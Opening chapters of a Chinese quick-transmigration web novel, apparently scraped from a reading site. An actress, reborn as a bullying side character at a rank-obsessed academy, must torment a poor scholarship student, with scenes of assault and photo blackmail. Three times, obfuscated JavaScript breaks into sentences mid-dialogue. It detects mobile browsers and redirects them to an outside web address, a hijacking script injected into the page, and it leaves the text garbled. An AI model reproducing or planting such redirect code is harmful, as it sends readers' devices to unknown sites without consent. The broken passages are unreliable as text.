《痴情女配总被主角盯上[快穿]》 1. 会长的小狗腿(一) “服不服!” 阴暗潮湿的厕所间穿来了皮肉撞击的闷哼声。 如果有人在这时进入这间厕所时必然会惊讶,因为里面乌泱泱全是穿着灰色制服的学生,她们神色不虞,为首的将水桶随意丢在一旁,抬脚就往角落里的人肚子上踹了一脚,“哑巴了?” 这一脚的力度不轻。 角落里的人穿着与这里所有人都不同的黑色制服,只不过她现在浑身上下都已经被浇透了,原本苍白的唇色微微发紫,过长的头发掩盖住了她的神情,只露出了那张白皙的下巴,她紧紧咬着唇,被那一脚揣得硬生生咬出了血,可她还是一声不吭,鸦羽般的睫毛垂落着,目光十分平静。 “若姐!她还不服!” 那群不良少女纷纷转过头,视线落在静悄悄站在门口,穿着代表权力第二高的蓝色制服的女生。 她穿着黑色的小皮鞋,腿又长又白,做工精美的百褶裙将她腿部的线条勾勒得修长柔美,衬衫被她掖进了裙摆,再搭配上宽松的制服,显得腰很细。 最重要的是,所有人胸口的牌子都写着B,偏偏面前的人是A。 枫丹伯格学院有森严的等级制度。 最高等级就是S级别,其次便是ABC,其中S级的制服是白色,A级的制服是蓝色,B是灰色,C是黑色。 不像普通的公办学院按照成绩来排等级,这里的等级排名只有两个标准——钱和权。 S级常常都是名门子弟,A级稍次,B级同理,而C级...则是每年都会根据成绩来挑选的特困生。这种人在枫丹也被戏称为玩物。 在场的唯一A级学生此刻正双眸紧闭,秀美小巧的脸没什么表情。 所有人都屏息凝神。 她们跟着安若这么久,明白这就是她发飙的前奏! 果然,下一秒,安若就缓缓睁开了那张冷漠狠戾的眼,瞳孔不知道为什么有些涣散。 O.O 安若眨了眨眼,看着面前跟□□没什么区别的人,狠狠愣住了。 她这是在哪里? 她不是应该在家吗? 【恭喜宿主绑定痴情女配系统!】 ? 安若刚想开口就硬生生忍住了,因为她发现这个声音并不是面前任何一个人说出来的,而是源自于她的脑海。 “你是谁呀?” 安若问。 【我是您的系统呀宿主,您可以叫我99。】 “系统?” 安若更懵了,“苹果还是安卓?” 【是这样的宿主,我是正经的穿书系统,专门找各种符合要求的宿主来扮演角色。经过我的认真筛选,您非常符合我们系统的要求——有演戏经验。看您的履历是从事演员行业,还曾拿过小花奖的第三名是吗?】 安若回忆了一下,“是拿了第三名没错...” 【那还说啥,就你了!】 安若弱弱补充,“可是参加选拔的一共就三个人。” 所以不管她演技如何,她都会获奖。 第二年那个奖项就没了,因为老板贪污受贿被抓了。 系统:【......】 安若:QAQ 一时间有些尴尬。 安若跟她打着商量,“那...那现在能放我回去吗?” 她还要在家里打磨演技呢,好不容易拿到一个剧本,她必须要努力抓住机会才行。 【不能了哦宿主,因为这边显示您真实的身体已经死亡了。】 安若更不可置信了,“怎么可能,我明明记得我在家里。” 因为安若刚进演艺圈没多久,一直都跑龙套。 可是龙套也不是那么好当的,竞争特别大,安若为了能吃饱饭只能不断地锻炼自己。 系统回忆起了她的死亡原因,【可档案显示不会错,宿主你此刻在那个世界确实已经死亡了哦。】 安若花了好久才接受了这个消息,可是她的脑海里明明记得自己在家里才对。 沉默许久,安若才开口询问,“那我还能复活吗?” 【当然可以啦宿主,我们系统可是很人性化的,每个世界都有考核指标,分别是一星到五星,如果您能连三个世界拿到五星,或者五个世界拿到四星就能复活啦。】 安若听完反而没有很放松。 在娱乐圈她见过太多这样的套路,甚至人性险恶,那些资本家都会先把最吸引人的放在前面。 【但是我们每个世界的最低标准是三星,也就是剧情完整程度要达到70%,如果宿主拿到三星便可以存活下去,顺利去下一个世界。可如果宿主连续拿到两次一星或者三次两星...则会被系统彻底抹杀。】 抹杀... 安若在内心默默重复了一遍这个结局,不禁打了个冷颤,手心冒汗。 她家里还养了猫,可不能死。 那是安若在路边捡到的猫猫,当时它脖子卡在塑料瓶里血肉模糊,尾巴上还带着沥青,虚弱地躺在垃圾桶里喵喵叫。 那天还下了大雨,安若面试被拒后忘记带伞,为了省钱她没有打车,反而在雨里奔跑。 或许真的是因为缘分,明明那么大的雨声,她还是听到了。 当时安若身上只有几千块钱,可她依旧选择把猫送去了宠物医院,治好后带回来家,取名为糖糖。 这一养就是一年,糖糖也成为了她唯一的家人。 安若一想到自己死后没人照顾糖糖就着急得不行。 她门窗都关着,糖糖会被饿死的。 系统感受到了她的情绪波动,也安慰道。 【不过没关系的宿主!你做任务的这段期间,那个世界会被暂停。而且我们挑选的剧本都不会很难的,人设也不复杂,你看,就像这个世界就是很简单的白月光替身狗血虐恋梗。主角攻是贵族学院最有权势的S级特优生,主角受是家境清贫,还养着重病母亲,成绩优异的特困生。】 【开学第一天主角攻就注意到了主角受那张脸,因为主角受的脸跟她的白月光长得太像了,她对主角受展开了追求,只是主角受清冷孤傲,厌恶这些有钱人,根本不让主角攻接近。于是主角攻便派出了身边钦慕她的小狗腿去欺负主角受,折磨主角受,好让她从天而降,获得主角受的芳心。】 【小狗腿知道主角攻有白月光,也知道自己长得跟白月光有几分相似,但她为了能够让主角攻注意到自己,故意去扮演白月光。所以在当她看到主角受那张脸时很有危机,于是她就借着这个机会将主角受折磨得遍体鳞伤。而这样也导致主角攻的计划真的得逞了,在主角受心动的时候,她忍不住妒火告诉了主角受真相,在那之后就是主角受黯然离场,主角攻追妻火葬场的虐恋...】 安若越听越觉得心赌,这个主角攻怎么这么坏... 她不喜欢这样的情节。 伤害了就是伤害了,挽回也无法将伤口愈合。 当时糖糖就是这样,一点都不亲人,大半年后才肯让她抱。 【而你要演绎的就是那个小狗腿,也就是这个世界的痴情炮灰女配。】 【你只需要扮演坏人,当主角攻舔狗的同时再去欺负主角受,最后等主角攻追妻火葬场的时候你再被拉出来鞭尸一下就可以了!】 安若声音很轻,“那我岂不是还要骂人...” 系统发出一道邪恶的机械笑声,【宿主,骂人什么的也太弱了,你现在的人设就算骑在主角受身上亲她都不算违规!毕竟主角受可是妥妥的直女,你做这些无异于羞辱她!】 安若听它这么志在必得语气,便试探着问,“九九,你是不是有过很多宿主了?” 99的笑容瞬间凝固。 它尴尬地咳了咳,【这个...其实我也是新人啦,前辈们很多都被优化掉了。】 留下来的要不就是升职成剧本撰写者,要不就是能力真的很强,带的宿主能一直维持在四星往上。 “优化是指什么?” 安若很好奇。 系统语气忽然变得有些沉重,【就是被抹杀,我们系统想要变成人也需要一定代价的。】 毕竟它们只是一团代码而已,想要有自己的衍生意识并不容易。 安若听完很同情地说,“那你也好不容易。” 系统沉默了,上任的第一天居然就遇到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209296|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么善解人意的宿主,让它不知道说什么好。 安若见不得任何人这么失落,安若思索了片刻,对系统坚定地说,“不过你先别害怕,我会努力让你不要被抹杀的。” 欺负人什么的她不太会,刚穿进来还是有时间学习的! “对了,九九,现在剧情进展到什么阶段了?” 【就是你第一次欺负主角受裴凝的时候。】 “?” 安若刚刚安慰好自己,闻言瞬间浑身僵硬。 她愣愣抬眸,视线透过面前的层层人群,最终落在了角落里的人身上。 少女唇角溢血,满身是伤,浑身上下都被水浇透了,与此同时她正抱着书包,神情阴翳地盯着她。 跟裴凝对视上的那一瞬间,安若只觉得浑身的汗毛都要竖起来了。 好凶的眼神QAQ 安若吓得连视线都不敢移开,任由裴凝那具有侵略性和攻击性的目光将她浑身上下都刺穿。 安若毫不怀疑,如果裴凝没有被压制住,她肯定会狠狠揍她一顿。 “你还敢用这样的眼神看我若姐?” 一旁的人以为安若的沉默是在生气,于是直接又甩了裴凝一耳光。 安若差点就要出声制止了。 不要打她呀! 裴凝整个人狼狈仰头,苍白的皮肤暴露在空气里,面颊红肿不堪,凤眼满是对安若的轻蔑和恨意。 真如同原著里的一样,是清冷孤傲,不肯屈服的学霸。 安若想到她未来会经历的事情眉头不自觉拧起,可她的皱眉落在裴凝眼里则是另一种意思。 是对自己敢于直视她的不满。 “你还敢这么看?” 另一边的人抓起了裴凝的头发,狞笑了一声,“不给你一点教训看看就不知道你是谁了是吧?” 她说着就撕开了裴凝的衬衫,雪白的肌肤瞬间裸露了出来。 一旁的人纷纷拿出手机要将这一刻记录下来,以后还能发在论坛上。 毕竟在枫丹,这样的事情也不少见。 特困生不就是她们的玩物吗? 裴凝的神色在这一刻才真正的有了慌乱,她紧紧拽着自己的衣服,满眼屈辱地瞪着安若。 “够了。” 一道声音响起。 裴凝冷冷抬眸盯着安若。 其他人也停下了动作,不太明白安若为什么忽然喊停。 安若抬眸,冷冷瞥向她们,“我有说让你们拍照吗?” 其余人闻言纷纷噤声,刚刚打裴凝打得最欢的人眼神躲闪,“若姐,不是你说让我们随意发挥的——” 她的话还没说,就被重重打到了一边。 安若漂亮精致的脸上满是轻蔑,“让你反驳我了吗?” 那个人咬了咬牙,“对不起若姐,我错了。” 安若声音很轻,“滚。” 周围其他人没动,纷纷震惊,居然就这么让裴凝走了吗? 裴凝也猛然抬眸,搞不懂安若到底在做什么。 99也在脑海里疯狂尖叫,【宿主!OOC了!原主在这个时候只会狠狠欺负她!!】 “今天算你好运,还不快滚!” 离裴凝最近的女生踹了踹她。 “谁说她了?” 安若嗓音很淡,她扫过面前这群人,“我让你们滚。” 不良少女们都愣了一下,随后便相视一笑,懂了安若的意思。 老大这是要亲自收拾这个不知死活的贫困生了。 裴凝脸色很差,她试图挣扎,但手臂传来剧痛,双脚也被绑绳子在一起,根本没有任何反抗的空间。 只能看着厕所里的人纷纷减少,最终只留下安若。 她穿着干干净净的制服,静静站在自己的面前。 裴凝本能地感受到了危险。 安若穿着小皮鞋缓缓走近她,弯了弯眼睛,“现在没人打扰我们了。” 她拿起手机,轻轻晃了晃,指尖白嫩还泛着粉,笑得乖巧又狡黠,“这下我可以好好找角度,来帮你拍照啦。” 裴凝那张脆弱又漂亮的脸瞬间失去所有血色。 2. 会长的小狗腿(二) 不出所料,裴凝剧烈地挣扎了起来。 但她能做的太少,手臂也被霸凌者用棒球棍打折,但还是死死咬着牙,努力抬手将自己裸露在空气中的皮肤挡住,像一只被打断双腿只能愤恨望着狩猎者的狼。 安若就这么垂眸望着她。 之前她演戏时导演就经常说她没有灵气,对感情也很木讷,无法真正共情人物。 可现在安若看着裴凝这样绝望的眼神,心中忽然升起了一股难以言喻的感受。 家境贫寒的学生唯一的出路便是能够读一个好的大学,出人头地。 裴凝就是抱着这样的希望进入了传说中师资最卓越的贵族学院,可这才开学没几天就被人这样欺辱霸凌,现在还要被拍下裸照,往后要被羞辱和凌虐,最后甚至还要跟曾经霸凌过她的人在一起。 明明按照她原本的实力,哪怕不用来这所学院也可以有很好的出路。 可偏偏却来到了这里,被主角攻盯上,从而多了许多坎坷。 这也是安若最无法理解的,她不明白为什么剧本要这样写。 安若深深吸了一口气,她笑盈盈地蹲了下来,跟裴凝平视,“害怕啦?” 裴凝黑亮如曜的眸子死死盯着她,声音沙哑,“你敢这样做试试。” 话是这样说的,可裴凝的声音里却发着抖。 那不是畏惧,而是无助。 在这个权力滔天的校园,她这样的贫困生唯一能做的只有虚张声势的威胁,哪怕身陷囹圄。 “我为什么不敢?” 安若歪了歪头,“你乖点,我会考虑少拍一点的。” 她细瘦柔嫩的手指捏住了裴凝细腻的下巴,另一只手缓缓打开手机,用摄像头对准了裴凝的脸。 裴凝挣扎得更加剧烈了,她呵斥道,“离我远点!” 她几乎能透过那黑漆漆的摄像头看到自己的难堪与屈辱。 为什么。 她只是想好好上学,有好的生活,想让妈妈好起来。 这些人凭什么... 可手机拍照的咔咔声却没有暂停,每一次声响都让裴凝的心逐渐变凉。 她就以这样的模样被人拍下了照片。 没人会救她。 感受到怀里的人不再挣扎后,安若才收起了手机,她拍了拍手,很满意地笑了。 那双跟裴凝十分相似的眼睛此刻带着愉悦,“如果不想这些照片流露出去,以后记得乖点,我让你做什么就做什么知道了吗?” 裴凝漆黑的眼睛看着她,哪怕浑身上下都狼狈不堪,但还是一字一顿,“你做梦。” 好坚韧的品质。 这让安若更不想下手了。 安若在内心对系统说,“我们真的还要继续吗?” 系统猛猛点头,【是的宿主,你必须按照原主剧情狠狠羞辱它!绝对不要OOC,这样我们才能保证最基本的剧情完整度!】 毕竟如果安若乱来,未来的剧情很可能会就此崩塌,最终的结果倘若主神不满意,她们就会一起被抹杀。 所以循规蹈矩在这里才是保命原则,能做到五星的大多都是打破了原本的剧情。 但这些题外话它都没有跟安若提起。 毕竟它的宿主也只是一个新人而已,不能让她承担太多的压力,一步一步慢慢来就好。 而且刚刚它注意到了,安若说话的时候其实也在发抖,咬字的气息都不稳。 “那我们就看看到底是谁在做梦了。” 安若理了理自己的发丝,“很遗憾地通知你,你现在已经惹恼我了,如果三天之内没有办法让我消气,那今天在这里的所有照片我可不敢保证会流露到哪里。” 她抬手理了理裴凝青紫一片的脸颊,“期待你的表现。” 安若说完就缓缓起身,临走前她注意到裴凝冻到发紫的唇,又想起了外面的天气,脚步一顿。 裴凝在她停下来的时候又瞬间陷入了戒备。 她正要向上看时眼前一黑,随后暖意和不知什么气味的香气充斥了她的鼻腔。 她歪了歪头,让衣服滑落到一边,眼神凶狠地望向安若。 “都怪你,刚刚都把我的衣服弄脏了。” 安若转身将要离开之前,凤眸斜视着她,“我要你把它洗干净再还给我。” 说完后,她便离开了这间厕所,甚至还关上了门,将正在维修的牌子放在了门口。 “老大!她是不是求饶了?” 周围的不良少女猛然凑了上来,每个人的眼里透露着兴奋的光芒,好像折磨一个好学生让她屈服是一件多么令她们兴奋的事情。 安若有些反胃,此刻她皱了皱眉,冷冷瞥向发问者,语气冷淡,“你在质疑我的能力?” 原主脾气向来也是阴晴不定,其他人早就习惯了。 “不敢老大。” 那些不良少女们都纷纷低下了头,可是每个人的眼里都透露着不甘。 得意什么啊,如果不是秦嫣器重她,安若这个空有一张皮囊的东西也不过是B级而已,整天叫嚣什么? 她们的视线落在安若白细的腰肢和大腿,更是痛恨。 相比那个贫困生,她们其实更想看到这个虚荣恶劣的家伙彻底失宠的模样,到时候她们也要将今天的事情如数奉还,到时候安若那张脸一定会哭得很好看。 安若并不知道她们的想法,她懒散地说,“都散了吧。” 如果她没猜错,主角攻此时此刻肯定在附近看着,只等着她们离开后挺身而出。 裴凝的命运也要在这一刻发生转变了。 安若心情有些沉重,她不知道自己这样做对不对。 难道她真的要因为自己想活就让裴凝从此走上这条不归路吗? 明明裴凝已经这么努力的走到现在了。 秦嫣对她来说只会是噩梦。 【宿主,走吧。】 系统看出了安若的沉默,【这只是小说里的世界,你可以当作在这里的一切都不是真切发生的,你只需要完成你的任务就好了。】 安若回忆起刚刚裴凝的眼神,低声道,“可是小说里的世界也是真实的人啊。” 系统无奈地透露了一些真相。 【宿主,如果你现在出声阻拦,很有可能会导致剧情崩坏。到时候不仅你我会被记过,这个世界的一切都会被摧毁掉。】 安若本来后背就是一身冷汗,闻言更是诧异,“为什么?” 【没有用的剧本就会被删除。】 系统说,【就像你参加过的那些选拔一样。】 【宿主,我们别无选择。】 安若沉默了好久,才点了点头,“好。” 她在走前,深深望了眼紧紧关闭的厕所门,过了好久才抬脚离开。 安若双手紧紧攥在一起,内心对裴凝说了句抱歉。 在她即将要经过拐角离开的时候,一道白色的身影出现在了她面前。 安若火速停留下了脚步,往上看是首先看到的就是一张浅淡带着笑的唇。 系统语速很快,【这就是主角攻秦嫣!】 【宿主!舔她!】 安若一想到秦嫣要做的事就对她的好感度急速下降,她脾气很好,几乎没有什么雷点,但她无法接受这样恶劣的人物当主角。 可安若还是勉强勾起了一抹笑容,用期期艾艾的眼神看着她,“秦嫣,我已经把她狠狠教训了一顿了。” 秦嫣穿着白色的制服,胸口的徽章是明晃晃的S级。 她的长相偏柔美,嘴角的笑容会给人一种她很平易近人的错觉。 如果安若不知道她阴险狡诈的人设,也会被她的外表所欺骗。 秦嫣垂眸看着安若那张跟白箐十分相似的眼眸,和那双眼里透露出来的期盼,心里有了几分厌恶。 这个蠢东西有时候还是有点用的。 只是明明长着那么一张跟白箐相似的脸,做出来的事却像个没发育成熟的幼童,就算被当枪使也甘之如饴。 要不是她找不到替代品,怎么可能还会留安若在身边? 只要她将裴凝弄到手,那安若就没有任何价值了。 不过看在今天安若帮了她一个大忙的份上,秦嫣不介意给她一点奖励。 她屈尊降给地想替安若理一理头发,“辛苦了。” 但指尖却碰了个空——安若躲开了。 秦嫣眼里闪过一丝不悦。 系统心惊肉跳,【宿主!注意人设。】 安若面上勾起了一个勉强的笑容,脸颊泛红,“不用给我报酬的。” 她凤眸泛着盈盈的水光,很是羞涩地说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209297|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你开心就是我开心了,老大。” 秦嫣眼里的戾气逐渐消散。 安若可比以前懂事了不少,她弯了弯唇,“若若,你好乖。” 安若眼睛很亮,“能帮到你就好。” 真是个蠢东西,即将要被别人代替了也不知道。 秦嫣在心里淡然地想。 她也懒得跟安若再寒暄什么,心里满是对裴凝的渴望,于是便手插着兜就走向了那扇紧闭的厕所门。 在她离开之后,安若才松了一口气,她冷汗粘着衬衫,让她又粘腻又冷。 【宿主,你还好吗?】 系统有些担心。 安若点了点头,“还可以。” 系统也松了一口气,【宿主,你刚刚的表现也太好了吧!演得好厉害!】 安若没被人这么夸过,她摸了摸发烫的脸颊,“真的吗?” 系统嗯嗯了两声,【其实我刚刚就想说了,宿主你的演技真的好好。】 根本不像是会跑龙套的。 安若有点受不住它的夸赞,干脆转移了话题,“九九,后面的剧情是什么?” 系统:【今天这一情节让秦嫣和裴凝首次有了接触,裴凝会对秦嫣慢慢打开心扉,与此同时,宿主你要不断欺负她,霸凌她,总之让裴凝越惨越好,这样才能让裴凝和秦嫣破镜的情节更加生动还原,也有利于我们的剧情完整度。】 安若听完后神色有几分不忍,她问出了藏在心里很久的问题,“可是为什么要这样做呢?让裴凝一个人好好的生活下去不好吗?” 大家看故事不都是为了一个好的结局吗? 系统思索片刻。 【毕竟相较于平淡,跌宕起伏的狗血故事更能激起人的欲望嘛。】 人性都是这样。 单纯的高岭之花并不会让他们动容,但如果是折辱高岭之花或者将高岭之花拉下神坛就能激起他们的兴趣,他们要看的就是往日白衣飘飘不可一世的主角坠入污泥,精巧清冷的面孔被污浊沾满。 安若听完后也只能沉默,她接过的那些剧本也都是这样,导演也说过如果故事不跌宕起伏,谁愿意看你整天看你平平淡淡如同流水线一般的生活? 想到这里,安若又一次将视线落在了紧闭的大门。 * 阴暗潮湿的厕所里,裴凝听到门外的声响渐渐消失时她才挣扎着起身。 安若的外套落在了地上,被洗拖把的水浸湿。 裴凝皱了皱眉,明明已经将衣服丢掉,可安若身上那股似有若无的香气还残留在她的鼻腔。 真恶心。 她贴着墙壁,理了理自己完全湿润的头发和衣服,刚准备离开的时候就听到门被人打开了。 裴凝满脑子都是安若那张脸,她看都没看进来的是谁,低着头直直走开。 她刚要跟那个人擦肩而过时,一只温热的手拉住了她,“你还好吗?” 裴凝身形一顿,她侧眸望着秦嫣,视线落在她的S级徽章上。 “你又想做什么?” 裴凝甩开了她的手,面无表情地问。 秦嫣的视线落在她那张脸上,浑身上下的血液都充斥着兴奋。 白菁,跟她的白菁长得也太像了。 “我刚刚看门口就血迹我就进来了。” 她压抑着自己兴奋到发抖的手,“需要我的帮助吗?” 裴凝望着她,内心轻嗤。 这是C级学生的低端厕所,S级的人怎么可能会出现在这里? 除非她们原本就是一伙的。 裴凝懒懒地说,“滚。” 秦嫣面上的笑容更温柔了。 脾气好大的一只小猫。 她嗓音很柔和,“我真的只是想帮你。” “我作为学生会的会长,绝对不会允许任何校园霸凌的事件发生。” 她人模人样地说,“所以如果你遇到了麻烦,随时可以来学生会找我。” 裴凝一个眼神都没给她,静静跟她擦肩离开了。 哪怕她浑身湿透,哪怕浑身都泛着凉。 可即便是如此狼狈,她的背依旧挺拔,好像如何都折不断的竹子。 秦嫣就站在她身后,静静注视着她,“还是不乖的小猫。” 但越是这样的小猫,就越让她兴奋。 3. 会长的小狗腿(三) 裴凝出教学楼的时候,外面刚好刮起了风,身上的衣服还湿漉漉地黏在身上,仿佛在身上涂了厚厚一层清凉油。 裴凝视线在周围扫过,确定没有人注意到她之后才静悄悄从小路离开,只是手臂的刺痛依旧让她眉头紧皱。 手机里老板的电话还在嗡嗡响,裴凝额头全是冷汗,拧眉接通了电话,“喂?” “小凝啊,今天怎么没来?” 电话那头老板的声音带着几分愠怒,“你不知道今天的客人等了你多久吗?” 裴凝声音淡淡,“抱歉徐姐,我刚刚出了点事耽搁了,大概半小时后到可以吗?” “今天我多干三个小时,不用工资。” 徐浅听完后才勉强松口,“那行吧,你快点来啊,客人都等着你呢。” 裴凝嗯了一声后挂断了电话。 她摸了摸自己左手的骨头,确定是哪里断掉了后便靠在墙边,面无表情地狠狠一转! 裴凝脸色煞白,但只在原地休息了不到半分钟便起身往校门口走。 而她不知道,不远处的教学楼有一颗毛茸茸的脑袋悄悄探出了头朝她的方向望去。 * 出了校门口后,裴凝刷了辆免费的共享自行车后就开始骑。 手臂上的疼痛在这一刻都不算什么,她需要赚钱,妈妈还在等着她。 裴凝最终停留在一家规模巨大的台球厅。 她是半年前找到的这份工作,裴凝很会打桌球,对麻将和桥牌也都熟练,再加上那张脸长得雪白漂亮,所以不少人来都会点她,渐渐的,裴凝就成了这里的头牌。 一路骑过来,她的头发和衣服已经干了许多,裴凝进去之前还带上了一副黑色的口罩,这样一来根本没有人能看出她刚刚经历了什么。 徐浅在门口等了许久,见到她来了之后就赶紧拽着她的手腕把她拉了进去。 裴凝眉头微拧,但什么都没有说。 屋内站着几个人,见到裴凝进来后喜笑颜开,“小凝,我们都以为今天等不到你了。” 裴凝垂着眼,不卑不亢道,“抱歉,今天有事耽搁了。今天都由我来开球,再陪您喝几杯。” 果然,她这么一说那些人才满意。 毕竟裴凝的开球姿势利落又漂亮,没人不爱看。 裴凝弯腰伸直手臂的时候,剧烈地疼痛从她的手臂处穿来,她微微拧眉,一言不发。 这点小伤对她来说不算什么。 跟小时候相比更算不了什么。 裴凝用尽全力,打散了球,屋内穿来了欢呼声,她用黑色头绳将头发绑了起来,露出了干净漂亮的侧脸。 刚刚还有几分冷淡的气氛在这一刻被烘托到了极致。 而大厅外休息区的人却很不淡定。 那人披着厚厚的外套,带着黑色的墨镜和白色口罩,整个人都被包裹得严严实实的。 安若这个点其实应该在家里。 只是她实在放心不下裴凝。 毕竟今天裴凝受了伤也有她的责任,让她欺负完人后安心回家睡大觉是完全做不到的。 况且她刚刚还继承了原主的记忆,得知在这之前还有人用棍棒狠狠敲向了裴凝的手臂,不骨折都是轻的。 但现在裴凝居然还在这里打桌球,这样手怎么可能受得住? 安若当然知道她不是铁人,只是被生活所迫。 裴凝现在的样子像极了她当时为了能得到一个角色而废寝忘食的模样。 更是如此,她才更加心虚。 毕竟自己做了很坏的坏事。 她不能当面道歉,那就只能偷偷摸摸做些事情来弥补。 【宿主,按照剧情你不该在这里的。】 系统弱弱提醒。 安若的剧情点应该在三天后给裴凝找麻烦的时候。 “九九你放心,我不会让她知道我来过的。” 安若信誓旦旦,“而且就算被她觉察到了,我们也可以说是秦嫣派人做的,这样不也是给她们助攻吗?” 系统听完后,恍然大悟,【还得是你啊宿主!】 安若就这样拎着一个袋子走进了前台。 徐浅正在跟别人唠嗑,看到安若后便问,“美女,要开桌吗?” 安若压低了声音,“我来送东西。” 徐浅嗯了一声,“送给谁,我帮你叫人。” “裴凝。” 安若低声说。 徐浅本来还在嗑瓜子的手顿了一下,朝她摆了摆手,“这不行,小凝从来不收别人的东西。” 整个台球厅都知道裴凝家境不好,需要很多钱,但她们也知道裴凝是个倔性子,只愿意靠自己的双手来赚钱,平时给她一颗糖她都会在第二天回赠一整盒糖果。 更何况裴凝那张脸...谁见了不喜欢。 安若犹犹豫豫地问,“真的不行吗姐姐。” 徐浅摆了摆手,“这没商量。” 安若问,“我给您一千的辛苦费。” 徐浅:“......” 她接过了安若手中的袋子,语气诚恳,“钱什么的都是小事,主要的就是心意,这点事情姐肯定帮你。” 安若笑了笑,“谢谢姐姐。” “对了,贵姓啊?” 徐浅问。 安若卡了一下壳,她低声说,“我姓秦,叫我小秦就好。” 徐浅听完后点了点头,“好的,我明白了,以后还有啥事就找姐啊!” 安若生怕她声音太高引起裴凝的注意,墨镜下的丹凤眼时不时就往裴凝所在的包厢瞅一眼,语气急促,“谢谢姐姐,我先走了。” 徐浅还以为她是害羞了,便摆了摆手,“没事,路上小心,下次再来啊。” 等安若离开后,徐浅才打开手机,看着1000的入账,喜笑颜开。 她的视线透过透明玻璃窗,落在裴凝身上,忍不住感慨,要是裴凝的性子不那么烈就好了。 如果能将姿态放低一点,以后的路会好走很多。 裴凝一下子陪她们打到了晚上十二点,将最后一个顾客送走的时候,徐浅喊住了她,“唉,小凝,你过来一下。” 裴凝走了过去,“什么事,姐。” 徐浅将安若给她的袋子放在桌上,“这是刚刚有个小姑娘托我给你的。” 裴凝眉心微蹙,“她有说名字吗?” 徐浅点了点头,“姓秦。” 裴凝并不认识什么姓秦的。 她语气冷淡,“我收不了。” 徐浅拿了钱就要办事,她立马抓住了裴凝的手臂,将袋子放进了她怀里,“这好歹也是人家的一片心意,就收下吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209298|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴凝今天来晚了本就理亏,她也不想跟徐浅起争执,便只能收下。 她原本计划着出了门就把东西丢掉,可当她快要把袋子扔进垃圾桶里的时候却发现里面的触感不太一样。 她犹疑着打开,神色有了几分诧异。 里面居然放着的都是药。 品类很齐全,退烧药、碘伏...甚至连创可贴都有,图案还是粉色的小猫。 刚好都是能够治疗她今天所受的伤口的。 裴凝敏锐地觉察到这人肯定目睹了她被霸凌的全程。 可会是谁呢? 还姓秦。 裴凝的思绪在一张张人脸上闪过,最终大脑的记忆停留在了一个人身上——学生会会长。 如果她没有记错,那人应该就姓秦。 想到那人伪善的面容,裴凝就觉得恶心。 得出结论后她便随手将那一大袋价值不菲的药扔进了垃圾桶,缓缓离开。 * 【宿主,我就说她不可能接受的。】 不远处的奶茶店里,安若坐在靠窗的位置,观察着裴凝的一举一动。 系统看着安若从下午就跑进药店里开始熟练地挑药,然后全副武装走进台球厅去送药,然后又在奶茶店枯坐到现在。 结果人家根本不领情,药看都没看直接就丢掉了。 【我就说按照剧情来吧。】 系统总算是找到了吐槽的理由,【有这个时间你还不如回去睡觉。】 本以为她的话会打击到安若,谁知道安若还是眼巴巴瞅着裴凝离开的方向,完全没有一丝一毫的沮丧。 “我当然知道她大概率不会接受。” 安若说,“但总不能因为这样就不做了吧。” 就像当初养糖糖一样,一开始安若没少被她呲牙和抓挠,但她还是没有放弃。 如果她真的因此恼怒,不再耐心,那不就错过了糖糖后面的成长了吗? 或许是出于养猫心得,安若总觉得裴凝此刻冷若冰霜,不苟言笑的模样或许并不是她的真实本性。 只是因为遭受过太多恶意,背负过太多压力而建立起来的屏障。 从某种角度来看,裴凝跟糖糖真的很相似。 只是裴凝的‘饲养员’很不负责。 想到秦嫣,安若就有些怨怼。 明明能好好跟裴凝在一起,非要搞这些杂七杂八的东西,活该你后面要追妻。 安若在心里骂了秦嫣好一会儿才觉得累了,她嘬了一口奶茶平复了一下心情。 不过她说了给裴凝三天的时间,她应该可以把伤养得差不多了吧? 到时候再欺负她也来得及。 * 老旧的小区里,裴凝坐在床边,额间满是冷汗。 她将衣服撩起,用碘伏轻轻擦拭着自己身上那些骇人的伤口,表情没有一丁点变化,好像这对她来说是很习以为常的事情。 等一切结束后,裴凝躺在床上,直直看向天花板。 这才是开学的第七天。 离合同结束还有三百多天,那群人不知道要怎么折腾她。 鬼使神差的,裴凝的脑海里浮现出了安若那张乖戾的脸。 心脏,身上的味道也很恶心。 恶心到裴凝到现在都仿佛能闻到她那股香味。 4. 会长的小狗腿(四) 清晨的阳光洒落在床上。 床上的人把自己团在被窝里睡得正熟。 【宿主,快醒醒!】 系统催促她。 枫丹一般都是早上九点开始第一节课,现在都八点半了,安若居然还在睡。 “我这三天不是没有任务了吗?” 安若翻了个身,露出一截白嫩的腰,用意念回复系统。 昨天安若回到家都一点多了,不过好在原主是一个人住别墅,根本没有其他人,也让安若可以有一个放松的时间。 